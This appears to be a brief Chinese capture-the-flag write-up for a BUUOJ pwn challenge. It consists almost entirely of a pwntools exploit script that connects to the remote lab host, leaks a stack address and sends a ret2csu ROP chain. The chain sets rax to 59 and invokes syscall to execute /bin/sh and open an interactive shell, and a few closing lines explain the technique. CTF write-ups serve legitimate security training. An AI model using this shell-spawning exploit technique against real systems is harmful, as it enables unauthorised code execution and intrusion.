

受益匪浅的一道题

直接上exp

```
from pwn import *
```

```
io = remote("node4.buuoj.cn", 25483)
```

```
vuln_addr = 0x4004ed
```

```
payload = '/bin/sh\x00'+ 'a'*8 + p64(vuln_addr)
```

```
io.sendline(payload)
```

```
io.recv(0x20)
```

```
stack_addr = u64(io.recv(0x8))-0x118
```

```
pop_rbx_rbp_r12_r13_r14_r15 = 0x40059A
```

```
pop_rax_59 = 0x4004E2
```

```
mov_rdx_rsi = 0x400580
```

```
pop_rdi = 0x4005a3
```

```
sys = 0x400501
```

```
payload = '/bin/sh\x00'+ 'a'*8
```

```
payload += p64(pop_rbx_rbp_r12_r13_r14_r15) +
```

```
p64(0)+p64(0)+p64(stack_addr+0x50)+p64(0)+p64(0)+p64(0)
```

```
payload += p64(mov_rdx_rsi)+ p64(pop_rdi)+p64(stack_addr)+p64(pop_rax_59)
```

```
payload += p64(sys)
```

```
io.sendline(payload)
```

```
io.interactive()
```

利用了ret2csu的方法

csu, 初始化函数

还有syscall函数

syscall当rax是59时, 相当于执行exec